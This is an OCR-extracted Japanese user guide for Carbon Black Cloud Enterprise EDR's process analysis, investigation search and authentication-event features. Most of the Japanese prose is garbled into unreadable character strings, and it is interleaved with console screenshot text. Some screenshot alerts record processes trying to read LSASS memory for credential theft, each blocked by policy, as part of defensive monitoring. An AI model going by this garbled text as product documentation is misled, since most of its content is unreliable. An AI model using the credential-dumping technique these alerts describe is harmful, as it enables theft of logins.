B ROUTIR-ROKEDOAE
. JOEXR Ny aDRE

n BELR-bAORHESTYDEMN

FE - O0tX
BEWNDBETETEINEITATOTACLRADHMBEZRAES LU LET,

F: [FOvR]ZTE[FBEEA R ] # 713, Carbon Black Cloud Enterprise EDR 2 —H— D& HMERT
EEXR

EROFET—2a3r RA42T, [AEIZVY oL, [FAER]ISTELY v O LET,

Erbh: Fh TOCRKREAPIZFERALTE Y —ICE>THREESNATRTOT—FEREL. ZRELLKFTE
OEECEDVTIDULD /O RERRETHIEHTEET,

REER

BERAO MRRAA R Z2ERAL T FARBRMRREBEOTERY AT VAL, #Hill/ao T OERICIRIIT
TLZ&EW,

BE7ORRICDVWTORERIEBLUTEEHET,

n BHOtE Y — ARV NESH

m VY- METI SN TORREETT SV

B AR PYTRISATUIET+ v FURNI—HTZZ0

7Ot RO & BRE

FrlybEI)v LT, BRDONARIVICHZEMO7OCR, A, FLEAXRY MNEREFAEET.

n JOCRDLHDOHEICHE ROV TFIVREELD v oL, TORRICET ST 3 &RTLET,
n [ ZOVYOLT BMOTNA RDFMERTL. TNARTT 23 ERTLET.
KOTOCREDBEICNY SDA DT —s BBRONIBENHYET. 12T -0 :

B [UxvFURIMDEY b] TOCXICEEBEMTONEZDAYFURNDEY FBHYET, NuPlEI Y
I L TEHMERERTL TS ZE0),

B [7o5—F] 7ORRICIEEBEGIIONEZTS—MBHVET, NvPEIUYILT ROBEREDEGWNT T —
MIDWTOEBMBERERRLTLSESWN, UoE Uy oL, [757— M BEICRRSNDEEMST SN
TOvREHEDIDIRNTOT7S—hEeRRLET,

B [RUL—DIET] 7O CREFHTREEICL THEL D, S SLRDIREFIETTE27-00R o —DNENTTHN
Flz, Nl TORPELEEIN/Z DLL DA—REETEINEZBEICRETEZIEBHYET., BAICK
STl TAEAMNDTAOCRERBLELD ELEBEICRELET.
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. [RUS—DET]TOCRERT S EODR) o —DREBTONE L,

g4 b FieA

JOtX TOERADZEE/NR, NA/N=U v oENEEaE 2 )y oL, 7oA YU —DFRy N —2#FHENSARIESNDDEHEREL
7.
FINA R FINA ZADEERA.

FNAREE  BA5NETOERDEITAY MIEIFRRHDA R OT/NA REHE,
PID OS [C&> TEESNDEFD 7O R F.

a1-H¥-% TOEABREENZI—YF -0V TFI,

Regmods TORRICEEMITSNAEL PR N DIEEDKRE.

Filemods O RCEEMFSNIT 7 A ILDIEEDHRE,

Netconns TORRICEEM TSN Y b T — I EEOHREL

Modloads 7Ot X(CEEMIFOSNAEY 2 —/LOO— RO,

Childprocs  7OEXRICEEMIT SNAF IO RDHBE,

7O+ RER

Dt 3>TlE. Carbon Black Cloud o>V —)Lbo [7AOR&EF] BEICDVNTEHEBLET.

#F: VMware Carbon Black XDR #3#% 218413, [0t X#EF] BE TO XDR F—4 DR H8B LT
é (‘\0

[TOtRBR]BEOELICHIF L PED [T aVRTIARY EIU YT BE Ny a&ZE)R N
[CFIER<EMLEY, TNALRDNA/NR BE— REFNEALITERICLEY., TNA R EREEE /= (L iRstfER L7
Y. VirusTotal TREERRLIZUTEET,

[TEER@AIEEO LS av(CiE, ROBERPEENTVET,
n BRPOTSA<Y TOER
n REBRRENTNWSTAOEX (/—RF)
m BT R
LR & WAV
. TNAROFHM (UTZEED):
m FiEASA LY

m OSN—=23r

B TNARE
m IP7RLX
n fIE
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m ERSNLERUS—
(]l RE &0 U v odBE ZOTNA RDFMMBRRENET.

X

Summary Take Action ~
Device:

0S version: Windows Server 2019 x64

Sensor version:  3.7.0.1375
Enable bypass

Installed By: \Administrator
. . uarantine asset

Settings Location e

Policy: Standard Last location: Off-premises

Target value: Medium Internal IP:

External IP:

Status

Device status: Registered on 5:06:02 am Sep 16, 2021

Last contact: 1:01:02 pm Nov 10, 2021

ZOE2—ICIFZDOMDFEHEMPEENTNET,

LI Rl OVAC DS D4

m AVRM—LLEEEH

m Y—TybNJa—

m TNARDEHEH

B TNA RORIKERE

n REOIHH

DDA ROD [T aVvRITI ARG E OV T DL TNARDNANREILREEBNCTEET,
AR Lk Y4

IOt RO, £2ET7OR VU —F [TACRBR]I R—2SDA Y 202 3V ICRREINET,
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dsamain.exe

googleupdate.exe

sppsvC.exe

sshd.exe

svchost.exe

~
a services.exe - =

®

svchost.exe +

trustedinstaller.exe

upfc.exe

©
, €D
(>

ws_tunnelservice.exe
and 1 other paths)

wsnm.exe +

EAEAEAEAEaElElElElEx
a-l-

BEAM—LDETALRFTAER YU —IC/ - RELTRREN, RBEORETINVERIC, ZOHROEANY
bE REBOETICHEWVENSAICRREINET., BELEFIOCAMNBRICHZ 7O VU —TlE TXTD
/= RDBRERENZVNSEDHY ET,

Ny allLBTN—TRF] FINEIV v ITEE Ny aT7OARREI N —TRITEEST, ZOT70
avICKY, AR VU =@ FTALREZE VA v FURBEFETHZDESIDICHLHDLST. B—D/N\y >
AERDINRTOTARREIIN—TLES., Ty bk /—RRIIL-TeEnEth, Ny2aTIN-T
tFdE XR=VICRREND/ — FOEPBEY. HHACTEPRELET,

BREhTWS/—F
/—RESY Y LTEBMERERTRL., [BRENTNS/ — Rl DIFYELEBAFLNTT 24 a v ERTLET.
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services.exe
CMD C:\Windows\system32\services.exe gal

Run by NTAUTHORITY\SYSTEM

Path c\windows\system32\services.exe
MD5
SHA-256

[ Binary Details

REPUTATION @

Effective

7:33:57 am Nov 11, 2027

Cloud (Initial) NOT_LISTED

7:34:28 am Nov 11, 2027

Cloud (Current) NOT_LISTED

7:3%24 am Nov 11, 2021

PID 636
Starttime 5:00:52 am Sep 16, 2021

Process Access Control (2

Elevated

Integrity

Privileges

Signed Microsoft Windows Publisher ADD
Product

CA Microsoft Windows Production PCA

2011

Publisher  Microsoft Windows Publisher

INAF VU DFHE
[EIRENTNS/ — K] /SRIVT [N+ OFE] R 2 2BRUT /N FUICET 2BMOFMIEREFRL
3

F: INAFVU D] RS > 1E. Carbon Black Cloud Enterprise EDR TOMMERTE £,

LEaT—23»
LEaT—2avid, EBHEEFAEIREEDEEDLANIILTY,

m [l EaTF—i3>r]Id. CarbonBlack 9. 259 R A oFUP VAR, BLUOZFOMDT -4 (CE
DWT, ARYEIPEHANRELEBETE Y —ICL>TEASNS L E2T—2 3 TY,

s [U50RLEaT—2ary (WED] 1E Ny IV RICK>TANY b BADBLE SN & E(C Carbon
Black Cloud 1 >TU Yz A V—RICL> T R—bENkNy a2 LE2T—23>TY,

m [U5UR LVEaF—2 3>y @A) L. CarbonBlack Cloud 41 > FU P VR Y —RICK>TLR—-KE
nNienya VEas—2a>zU7 WA ALATFzyv I LIEBDTY,

i [BMARLELT—2 3], Endpoint Standard #£TLTWAA—HY—([COAHBRENET,
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AR 74twR arbta-Jb

[F18]: [Truel OFE. 7OLRBFELAL (BEE) AVTFRAMTERITENET., TOCRERKEES
ECUAC(A—HT—T720€R 3> bA—I) EFRETHIRY D —(T@ERAINEE A,

[(EGE] & (BEE). P (BEI-—Y ) FLJE FRGE), JUBVWESELANLERFD 7O LEDE
fERAET 5 EICk o TEREMNBIEESNET.

[#&[R]: T+ a2V T« ID (1R) 2N T RIMET BT /R b= PETORRICEVHTONET, &R
(F. 7OERERITLEDELALLEEICEFAVT A BREBRAT HDICRILET,

DxvFURMDEY K
TOvRICAHLPED [ BREEINET ] E7OCRDBUAvFURMDEY MCEELTWSZEERLET,
ZDHBE. [BIRESNTWSE/ —R]I RS U[CHRDELD ICRREINET,

ROty hOBEEEXRQT

Ey RO o/ZLR— b DEH]

Ey bRELITY

DAy FURPDEY FELTHF Y TF v ENcA N bOFEERZ

JTUDI U ERRLT REN-TOI/TUDNEFICAASNE [RE]EERICERY FLET,

A - B

[#7:8]] (X, Carbon Black Cloud Endpoint Standard & &' VMware Carbon Black XDR 2 —H%—0D7 7 #+
IWEDAEE2—TY., ZDR—2(F, Carbon Black Cloud Endpoint Standard F7=(& VMware Carbon
Black XDR ##r& L TL\% Carbon Black Cloud Enterprise EDR Z—H—[CHRRSNET,

™
X

ZDtoTarTIE [BR] BEO—MRNAGRBERELET. XDREBEDT—FICEBT 25#MICD N TIZ.
[818] BETO XDR F—4 DMHERESBL TS EE L,

Carbon Black Cloud Enterprise EDR ##F> T /() Carbon Black Cloud Endpoint Standard &1
—H—DB&E. [BEIEEICY T A7 a3 EbVERA, (BBl IET 74 FOBEE 21 —TT,

EROFET—2ar RAVT, [AEIZVVvoL. [BU]STE0) v LET,
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INVESTIGATE Search Guide
QL seont

Idays | Allresuls v
—_—

FILTERS Clear | &
500
= Type(s)
Eontextms Aty N
B0
Inficate of Attack pre
B Anatytics am . ' I
— = .. . s e Bl
E:00pm 12:00am 6:00am 12:00pm 6:00pm L200am 6:00am 200pm 6:00pm 200am £:00am 12:00pm
Metwork Traffic Analysis o 3
Irtrusion Detection System ) 1%
2,167 results View By | Default v | Groupby | Sefec ~ Export
+  Event Type (5}
TIME ¥ TYPE/REASON * USERNAME DEVICE ATTECK TECHNIQUE * ACTIONS
—  Process (50+)
. Search 51592pm  Tamper [Patey Berr | NT AUTHORITYSYSTEM T1003.001 o
Jun 6, 2023 The application taskhastw, exe requested the content of Isass exe, A LSASS Memory (4 >
—stemIZwbemiwmipese.cxe S7.1% Deny palicy action was applied
. ehrweare toalshvmtoslsd exe 15,94
Peupdategocgleupdate.exe 141% | 51503pm  CB Analytics ] NT AUTHORITY\SYSTEM - £ >
lun 6, 2023 An apphcation on the Compary Black List (xcopy.exe) was detected, —
lugins\facefoduninstalier exe 314
romespebcationichrome. exe 2. 4%
510048 pm Indicator of Attack [ Poty Doy | CBAWTDUAdrministrator T1003.001 ) -
. stemIZicompatteirunner exe  1.2% Jun 6, 2023 The applicat e the content of LSASS Memary (1) >

Isass.exe. A Deny policy action was applied

+  Effective Reputation (§)

51048 pm Indicator of Attack Py Dery | NT AUTHORITVSYSTEM T1003001 o3

+  Process Hash (50+) Jun &, 2023 The app goog exe req the content of LEASS Mamary (1) >
Isass.exe. A Deny policy action was applied.
Container
L 3 5:10048 pm CB Analytics [ oy Derr NT AUTHORITNSYSTEM - o@
Container image Jun 6, 2023 The application 114.0.5735.110_chrome_installer.exe invoked T >
anaother application (setup.exe). A Deny Policy Action was applied.
—  Device(11)
L, Search S10rd1 e Indirstar af Attack [ oo Derw | NT ALITHORMASYSTRM T1AN3 NN1

26.2% Showing 1-50 of 2,167 configure Table tems per page | 50 | jumptopage [ 12345.. 44

EXb: B API ZERLTINTORAZRRL, RIRFHLC—HT D 1 DLULOKEDBAZRRTHILD
T%ig—o

FADOHE

[BRATBETIE. 75— MERDPVTLULHEETHD LIRS, BEROEKENT VT ET 4 DLW
T4 ET 4 EHRTEET,

COEBETIH 1 DULEDTNAREDFEBINRETITAET A DA M —LAERRBTEET., IRTOTEY b
[CEOTHRESNDIANTD raw AR hZFEITHLZRBMTEERY, COERE BEOIRTOT Y H
DEEMERRERITT DLODENEFRERMBLETS,

BRIE, 7V - b2ATIEBICET SRRAGRGHATERTY. Ihold [TOCRBF]EEO raw 41 X2 b &
HWRLET, INTOBMCHIET D raw A2 hDBHEDITTRHY A, INTOEUDBEHCEDLL VD
(FTEHYEEA.

BUSNIANRNY FOKVNEBY T2y bPESICTS— b AT —FRICHFELET,
DD, BAREDLLWANY FOFELA T —TT,

HROBRE
SONEY TR (Y] BETREET (LU T HHECOVTHELET,
o RBRBRICE 10,000 #ORBHRASERSNET,

RDFTETRBERET ANV I TEEXT,
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TANE
g47

E: B A TICEA Type ORBAERRLET.

ARYN 54T

70X

B EaT—r3ar

JOvX Nya

FINA R

HORMELE2AT—23 >

TTP

VMware, Inc.

b

CB %
AYTORNT7OT4ET 4
TAU Intelligence

BwEh

JAvoEInNnya
RARIML ZT A

FyhT—=0 bST 4y ODRH
RAMNR=ZRDT 74T D +—)b
REDA VT —F

netconn

childproc

filemod

crossproc

regmod

modload

scriptload

\system32\svchost.exe

system32\services

TRUSTED_WHITE_LIST
LOCAL_WHITE
COMPANY_WHITE_LIST
ADAPTIVE_WHITE_LIST
NOT_LISTED

macOS_workstation

Windows11_workstation

NETWORK SERVICE
SYSTEM
LOCAL SERVICE

TRUSTED_WHITE_LIST
LOCAL_WHITE
COMPANY_WHITE_LIST
ADAPTIVE_WHITE_LIST
NOT_LISTED

NETWORK_ACCESS
ACTIVE_SERVER
RUN_UNKNOWN_APP
CODE_DROP
POLICY_DENY
INTERNATIONAL_SITE
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ZaIE

fuE

77— ay ZOokal

ATT&CK #iEg

ATT&CK #ii

Bl

B TN TR T AU HERE
m B2/ AUTHILZTI. TAYUHERE
m FT7U L TANSTUR

m HTTP
m TLS

m TAOO0O2
m TAOO0O4

m  T1003.0001
m  T1036.0005
m T105

EXb: T4 DERCHD RN TA a2 EI v oD E RERBRERATEET, fi:

—  Process (17)

A, Search

icrosoftiteams\wpdate.exe 59.3%
| otmffceitadreinerere _fj.m

~.owssystem3Nsvchost.exe 6.7%

cApython\python.exe 4.6%
Dreams\currentiteams.exe 2.2%

~oftiteamsistage\teams.exe  1.0%

gs17

ZDOREYOTIE. BRlSATITDNTHBALET,

=

EBADBRBEDHAIZKES T, Type TIITVET4IFU L ITEET, ROKXRT,. N5DFA TITDNTEHAL

S

g47

JOvoEnzNnya

CB o

AYFTUOANTUOT4ET 4«

VMware, Inc.

oA

ZDE S 1 7%, Carbon Black Cloud Enterprise EDR iz (T
DHBEREINET, L, 7OCIBNY 22U XA MNIRFTEN
BNy 1EO—RTHEEICRECTIEAUELT S — bTHEBREN
£7.

IVRRAVRNTRITEINTVWSTOCADEE/NY — 2 #EERT D
Carbon Black Cloud &R L THERESNZBAET S — b,
CBOa#i7 o — MIKBEZRHELETHN, KBEMHIET DI LEHYE
A,

AVTFRANTITAET A Y=L THFY TFrInfza
N> hTHH. Carbon Black & F—HLEHA. INHDA N
VM E BENGKREDSHASNAZOERUBICI Y RRA > ~NTRH
FEELTWEDICDWTDAYTFRANERTTHDICKRILET,
AVTFRAN TOTAET A DBADT S — MIFETHE CB D7
BALLTHEIEENET,
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47 Btes

IRAMN=RDT 74T D +—) FYBNT=0 bST 4 IODBIY RRAYEDRANR=RDT 74
TOA=I V=V L EEITERENDEREL

KWEOA >4 —% (I0A) KREDERMODA T —5IC—HL. FLEALEDBE. BEFO MITRE
ATT&CK Efff (CBEMFTOENTNSI Y RIRA > bOBWED SFET
LA, WEDA 2T —43. T LULERENICEBENH D DI TIE
HYEHAN BRTDILEVHYET.

BAKRIE S X7 A (IDS) B—Qxry 77— JO0-THRHIOBEDOH S/ —Eiz(35EDL
WG —2ERTRY bT—0 b T4 v OICBRTZEANET 5 —
b ZFEALEDZE. NSDOEEFEHDO MITRE ATT&CK #1i71C
RvEVYIEInET,
Carbon Black (&, BEHID L I/ xF v (L TERDOLWRY bT—2
T4y OEBERLET., SOEDBIIRFBRDMNDE. IDS
BRAMERSINET,

2y bT—=0 574y 05H (NTA) NTA . Ry b7 =DA% ET VT4 ET 1 &BERLT 7/7
EBELET.
WA IRV —F 4 ¥ P RF AEIE Carbon Black Cloud >4 —%

BEALTWBTO RO EF+ TF+ T HE8AUETS— b,
INSOEAET S —MME € —DUTADESERE L THLET
BRY D — V= IVICK > TRES BRIEEEDSH Y T

TAU Intelligence Carbon Black Threat Intelligence Unit (TAU) » 5 DO%5E D
BERRICK > TERESNDEA,
ZOATIVICE. BT —D8E/NS - DNREFERL TEREN
FEBAETS—MBEENET., INSDEAET S — b BHLEICD
BNHZEbLE<HYERA.

EXNISA
SORNEY TR B BEOLSBICHEER RIS ACDVTHALET.
ERARNISARAYE 59T 4 TTE, ERANI S LERRELFIRRICTEET,

EXRISLETNICEEMFONLT —FF. ROFETHEETEET,
n EXNISLARADERBDBHEI Y v LT BEDRBICRELLANY MIEREHTET.
B EXNISLADTEICHBROB—) N—ZFERLT. BEORIRICEELET.

B ERNISACH—VINEEDEDE A—VID[+] DRBICEDVET, [+]E2IUv TV RRIYIL
T HEDEBEEZIA Y MIERZHTET,

B KRB KRFELIYYHILT, BIDERNISA E2a—ICRVET (FONBEZTET S,
. BEOHBRNICRELIZANRCE A9, 109, 1TEBE. 184E) #0)—FLET,
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IINV—TIDORELRRAE

ZobEysTIE B EED [F)V—TLOEE] BLO [RRAE] OEECDWTHALET,

AR NEEERICIIN =TT BT THES, RDT7 4=V RTIIN—TIT 2 EHTEET,

n A7

B TNAR

m I1—H—-3F

m O-AIIP7ERLR

m UE-FIPT7HRLX

m ATT&CK EiRg

s JOtRNvPa

E: JIN—TTEBDE. RICKREND T4 —ILREDHTY, [FIN—T] 7o 3 &RTTBHHE1IC. X—
COTHICHS [T—TINVOBK] Ry &) v o LT T—TIVIIRRTBF (74— R) ZERTEET.
V=TS NHERICIE. 10,000 HOFRFIRSEREINET.

[(REAEI AT 32T [F74)0] [7OER]L [FAALR] £LE [(Ry hT7—2]RITRRTEET, &E
A—ZHERL T FEA—ICRRTDINERETAICIE. R—CDTICHD [T—TIVOER] Ry &= v oL
*9,

[RRAE] & [FIV—T ] a2 ERT 5L BROEKRRNMEASDEETOI ZENTEEY, LEAE [FR
HER] EERTHE T—FICERAT Rty FETIEO<KERTEET, [Ry MT—JRIICKRR] 2&IRTSHE 1P
7 RULR R=b, BLAT7AOMTNDINRRENET., Z0%. [VE—FIPT7RVRTII—T] LT, &
JE—FIP7RUVATRELLBRIOKEER TEET., F/o [FORRFICER] & [FAR Ny aflicy
W—T] ZFERALT. BERNTERISINTVWBRTRTDT U —2 3 2RI 52 EHTEET,
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Hide ~
700K
&:30am T:00am Ti30am B:00am F00am 9:30am 10:00am 10:30am 12:00pm
4 - »
Showing 687 groups with max 10,000 results (157,821,257 total Viewby | Process 7 | Group by I Process Hash @) Select P Export
results) 3
OBSERVATI.. ¥ PROCESS HASH "/ TIME PROCESS NAME USERNAME EFFECTIVE REP. CURRENT CLOUD REP.  DEVICE
3388 9f22d..14abb6 12:29:58 pm Sep 18, 2023 - 1+ "+ 2+ 1+ 189+
12:30:00 pm Sep 18, 2023
505 949bf..61c54b 12:29:58 pm Sep 18, 2023 - 1+ 6+ 1+ 14+ 346+
12:29:59 pm Sep 18, 2023
358 Ob7ca..186a8e 12:29:58 pm Sep 18, 2023 - 2+ 126+ 1+ 1+ 126+
12:30:00 pm Sep 18, 2023
307 bdf02..467365 12:29:58 pm Sep 18, 2023 - 208+ 208+ 1+ 1+ 208+
12:29:59 pm Sep 18, 2023
247 0Df8c..8c92e3 12:29:58 pm Sep 18, 2023 - 1+ 13+ 1+ 1+ 42+
12:29:59 pm Sep 18, 2023
219 8b98a..36¢326 12:29:58 pm Sep 18, 2023 - 1+ 1+ 1+ 1+ ¢
12:29:59 pm Sep 18, 2023
198 d4bae...3d9635 12:29:58 pm Sep 18, 2023 - 1+ 1+ 1+ 14+ T+

Showing 1-50 of 687

FE—— motopege [ 5]

{12345..14

RICCIVE-BFIP7ZRUVRBICTIN—T] ZBINL T, FEY 7 b7 EEEIIIVT I TOERICEL > TS
NEVE—HMIP7 FLRDEEERTEET,

Hide ~
700K
7:00am N B.00am 8:30am 9:30am 10:00am 1m:00am 12:00pm
4 == >
Showing 2,429 groups with max 10,000 results (157,821,257 | = Y=z -
total results) View by ~| Grouphby | ProcessHash | RemotelP ()| Select v Export
OBSERVATL.. ¥ PROCESSHASH *©  REMOTEIP v  TIME PROCESS NAME  USERNAME EFFECTIVE REP. CURRENT CLOUD REP.  DEVICE
3388 9f22d...14abb6 - 12:29:58 pmSep 18,2023 - 1+ 1+ 24 1+ 189+
12:30:00 pm Sep 18, 2023
265 bdf02..467365 - 12:29:58 pmSep 18,2023 - 182+ 182+ 1+ 1+ 182+
12:29:59 pm Sep 18, 2023
247 00f8c...8cI2ed - 12:29:58 pmSep 18,2023 - 1+ 13+ 1+ 1+ a2+
12:29:59 pm Sep 18, 2023
219 8b98a...36c326 - 12:29:58 pmSep 18,2023 - 1+ 1+ 1+ 1+ 2+
12:29:59 pm Sep 18, 2023
215 Ob7¢a...186a8e 0.0.0.7 12:29:58 pmSep 18,2023 - 2+ 94+ 1 1+ 94+
12:29:59 pm Sep 18, 2023
198 ddbae...9d9635 - 12:29:58 pmSep 18,2023 - 1+ 1+ 1+ 1+ 71+
12:29:59 pm Sep 18, 2023
163 949bf...61c54b 0.0.0.66 12:29:58 pmSep 18,2023 - 1+ 3+ 1+ 1+ 122+

Showing 1-50 of 2,429
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Items per page Jump to page # ©£12345.49
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BEODIUN—TEFERT DL BROBAEACHLEDT VT4 ET A DEBYEERTEEY. BHIC[TAEX]
Al RICOP 7 RLRIBICH V=TT B L. EOTOEADBED IP 7 RV RICHROHEEICEML TODIDERT
TEEXY., COEa2—F BEDIP7RLRAICEMLTNSI-—Y—2HETHDICRILET.

IIN—TIENET—FESEIERAETRRTEET, LA [RYy FT=ZRIICRR] LTHS [FAER
Ny aBCZI—T] LT EOTAERDBHRDHEZL<DIP 7 RLURICEML TWINEERLET., ZOHELE
bHlE. /JAXDRBZNTOCREERTIDICEIBET.

Hide
< L4
Showing 687 groups with max 10,000 results (157,821,257 total View by Group by |[Pmearan i " Esport
results) (7
OBSERVATI... ¥ PROCESS HASH "/ TIME */ APPLICATION PROTOCOL PORT DIRECTION DEVICE LOCALIP REMOTE IP
3388 9f22d...14abb6 12:29:58 pmSep 18, 2023 - = - = 189+
12:30:00 pm Sep 18, 2023
505 949bf..61c54b 12:29:58 pm Sep 18, 2023 - - 220+ 2+ 346+ 241+ 309+
12:29:59 pm Sep 18, 2023
358 Ob7ca...186a8e 12:29:58 pm Sep 18, 2023 - - 3+ 1+ 126+ 58+ 140+
12:30:00 pm Sep 18, 2023
307 bdf02... 467365 12:29:58 pm Sep 18, 2023 - - a4+ 1+ 208+ 33+ 28+
12:28:59 pm Sep 1B, 2023
247 00fBc...Bc92e9 12:29:58 pm Sep 18, 2023 - - - - 42+
12:29:59 pm Sep 18, 2023
219 8b98a.,.36c326 12:29:58 pm Sep 18, 2023 - - - - 2+
12:29:59 pm Sep 18, 2023
198 ddbae.. 9d9635 12:29:58 pm Sep 18, 2023 - - . = 1+
Showing 1-50 of 687 Items per page | 50 | Jump to page # 12345.14

REHEROEHRA

[BR] EETRREIIVERITL. BLOHET—% £y hEREBETSL BRBIREATRRENET.
KRT DA T a3V ERODEBYTT,

n ROABLICHD [TOVAR-—BMREEIVYILT. CDT—FETVRAR-FLET,

. T —TDBELRRAEDHRAICH > THRRE IV —TILLTERRLET,

B FEAEDIINY T —DEICHDIUENEZF v Ly hEERLTRELENEZIET,

n ROETICHD [ROBER]I R EIY VI LT RRTDINENAIIAALET,

B [RO#E] #EEZFERAL T T74/)FTRRENAZNTG] ([ATT&CK TECHNIQUE] 72 &) Z#EBMMTE
£,

BAOTOLREZDTATDAARY FERFT BICIE. FOEMCHZ [FOLR@EF] € 7q4aresUvsL
9. [FOERBIF] EETO XDR F—4 DR E 7O ABIFESBLTI LS,
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ARV MIBT B EDOMOFMERTT DICE. FTOEACHD > 20Uy o LET, #FHOYTUDBRREINE

. FEDOEI DI VTIINRTERR]IE0VvoddE TOATTVDINTOFRBRRIENET, 6 :

PROCESS [EJ of v
svchost.exe

ovmD

e L Mitianicemices o
s\System32isvchost.exe -k NetworkService -p -5 5

Effective Reputation TRUSTED _WHITE_LIST

Policy action

Run by NT AUTHORITYANETWORK SERVICE
Signed Micrasoft Windows Publisher
Technigques (7) network_access -amsemer
Hide ~

Path chwindowshsystem32isvchost.exe

MDS

SHA-256

PID 1460

First seen

Vector

Malware name -

Malware type -

REPUTATION &

Effective TRUSTED_WHITE_LIST
8:45:44 am Feb 3, 2023
Cloud (Initial) NOT_LISTED
E:47:41 am Felb 3, 2023
Clowud {Current) TRUSTED_WHITE_LIST
8:55:07 om Feb 3, 2023
SIGNATURE
Signed Microsoft Windows Publisher
Praduct Microsoft® Windows® Operating System
CA Micrasoft Windows Production PCA 2011
Publisher Microsoft Windows Publisher

ZDNRFIDE, ARV SONAFTYDFERERRLZY., [TOCRABR] EERERNCY, AR MIHLTT S

> arvERTLEYTEET,

RITAIRET 7 A IV CTERAABEAT V2 3 VRO EB Y TY,

n FARUASDOSNY L2 ZHIBRELBEZELEY R SDS/N\Y 2 ZHIKR
n BPURBMINY 2 &BMELRERY X MINY 2 %8B0

m Ty7A—-REUSIIRE

s VirusTotal THE

n TV —2 a3 EHIR

TINA R TERAIEERT 7 a v (ERODEBYTT,

n NANREFEME

s Tty bR

A TREEICHEIT

Er: BRRBRITUDOERICDNTIE, BEAD [MBRBEHA R] 288BL T EI,
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SAE - AL X b

Carbon Black Cloud Enterprise EDR (& Identity Intelligence ##&L T\ E ¥, Identity Intelligence
(£, Windows T RRA > M THRET ZRIA N2 ~ERIFRIELET (Windows 10.0.15063 LIBETRITL T
(V% Carbon Black Cloud Windows Sensor 3.9.1 LIEETHR—K),

F: [FOvR] & TE[EEEA R ] # 713, Carbon Black Cloud Enterprise EDR 1 —H—D&HHMERT
=F7,

Identity Intelligence (. Carbon Black Cloud Enterprise EDR 731 —4—3R5[7 5 4 EF 1 [CI1Bt 3 0]
BEMEALSEET, COFIATOIVRKRA S TUANIE, 7/RUEEBRERERTET D-OICRAIRTT,

Identity Intelligence #{EA 9 % &. Carbon Black Cloud Enterprise EDR (Z& £ &F 744 4 7O Windows
uunE’r/\/ I\éqyibi? -._U)’f’\/ I\(; [uﬂﬁ] N— /0) [nun].—t’r/\/ I\] 97T§Eiéﬂiﬁ'

Windows SREEA XY hD L AR— K, 7AOER A X MDULR—FE#HTLET., ZNICKY, BEEE7O0ER
TUOT 4 ET« OBRBEMNEIEEICAY. KYAVTFANMNIBALEEB/N T« 0. BAE. AT MNEENEBS
nNE9.,

FEEA R b T=F1d. ROARY ~ (BLUZOM) (CBIT DR ERELET,
n REEORIN—ROERE. i, FIE (TTP)

n HROTOACR T7IOT 4 ETABRELLEEICTIVRRA MR/ LTI —
n IVRRAbADOOTA EHTULEBRBLEI—Y—

m REURE

s HEEEEACOIERTLELL

m T/RVEREFEDLLWY —ZAD50DY E— MRADHETT

n ERFIEORT

m THUVNOER

. EBENREABRROER

. T2 RRAYSEOKEREDBEE)

A UYAT—BEOEE

Security Operations Center (SOC) 7 F U X MDA DU R— DB END AU v FO—EBIFRD
EBYUTT,

B IVRRAVNTIOTAET 4 DFEREDR L

n BRNSTAVITBEINA T MNEEFOEBMOIAYTFR L
n BEEARCMETOER ARY MOEBEBEFROR L

. FEHLEREOER (MTTR)
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. RE AN PORECHT DY —RN=FT 4 Ya—2a s \DEREFEENMETLELL

BErb: FREANC K APIZERL T Windows T RRA > b TRET HREA N2 MEAIRILTHZEHT
EEXR

FORLA NV FDREZAMNICT S
PEA X FOREEEDICT HICE. ROFIEERITUET,

FIE

—

ERDFET -2 3> R42T. [ER]-RUS—]1DIRICZV Yy O LET,
EETDIRY S —ZFRLET,
[(E>Y—-]14T7%20UvoLET,

Hh W N

[FREA N bDOREEZFMCT D] Fzv o Ry I REBERLET,

[] Enable Auth Event Collection

5 ®REIZVVVILET,

2V =)V TORREA N> bDRT

[AZE] BE® [FR5I1 > ] # 7IZ1E. Carbon Black Cloud Enterprise EDR Z—%—® Windows I R7R
/r\/'\—C%’_:E—g-é:L_-U- un.uJ-.E/r/\/ f‘b‘%TéﬂiT

F: TT7HIETIE AR POREFENC/E>TVWEYS., [AE] EETRAANY FERRT HIC(F R
U —T [REANY bOREEZFMICT D] BEDBHY ET, WAL N> l\@ﬂﬂ%é’ﬁxﬁ]k?’é’&*ﬂ”bf<f &
AN

EﬁIJO)d't“"f—:/a‘/ RAVT, FAE]Z0V v oL, [BEARUKN 9TEO) I LET, ANV NEREL
F9., REAANRNY NDOFERTEERIRRE T 4« — )V RERRT SI2IE. HERD BREHAR] 25BLTEENL, 4
N NERDEETTAIVI I ITEET,

Windows A~ 1 ID 1-¥-% 1—+—ID (Windows £+2 7 1 ID)
RyA4> 547 Ry4> 1D RAA
UE—h TSR UE—RrIP7RLZR R— b
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HERR A5 0T47 OTA > UE—kOJA >

F£70€R AR FINA R

F: Windows 1 XK ID 7407 I121F. 74 DEICH—VILEBLS ERRENDY —ILF v THEENESE

NTWET, V—ILF v FICIE. Windows 41 R~ ID Z5BELET, 4 :

FILTERS Clear : & TIME v

—  Windows Event ID (5)

O Search

4624 @

4672  An account was succassfully logged on
S

4534 <0. 7%
4647 <0, 1%
4625 <. 1%

Windows F28FA4 N> bk
ZD~Ew & TlE, Carbon Black Cloud MR L THET BHFREEA N MIDWTEHRBLET,

Windows £ X | ID L]

4624 TADYEBERICAIA Y LELE

4625 THD Y SPATAVITKRBUELE

4634 ThorhposdtAzasnElLrz

4647 A—Y-—-as/Fr7&mRLELE

4672 FLWOJAUICEYEHTONDERTIER (BEE(CHY)
4740 I—HY—T7horrhavos7obEnELE

RUAY EyraryPrEEnNELE

Bl
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TIME ¥ EVENTID ¥ DESCRIPTION USERNAME v DEVICE ¥

1:21:13 am Nov 9, 2022 4624 An account was successfully logged on SYSTEM
1:22113amNov9,2022 4672 Special privileges assigned to new logon

1:21:11 am Nov 9, 2022 4634 An account was logged off

12:52:11 amNov 9, 2022 4624 An account was successfully logged on SYSTEM

12:52:11 amNov 9,2022 4672 Special privileges assigned to new logon

Logon session detected ARV ME, ROBEICKELET,

B OJA ARVEIDPRELEER B —ERHANRY MEEEYR— T EIN=3 (27 v T L—Ran
FELED EoY—3T7 074704 vy a DBEEERBELET,

n OJA42 AXY SORERICREANY FOREBENIC/RVELLEDS, €2 —R3T70T7472AT(> &
v ayOBERERKBLET.

Tty NTREA NS MORELZEEITRREAA XY COWENIET T« 7 TH o778, Logon session
detected A NV MIEFAXRY K ID DY ERH A,

[FRREEA NV Bl 2 7123 T DULORERBETRIAA NS METIN—TTES [V —TLOEE] BENEA S
NTHET,

RN M ROBETI I —TLTEET,

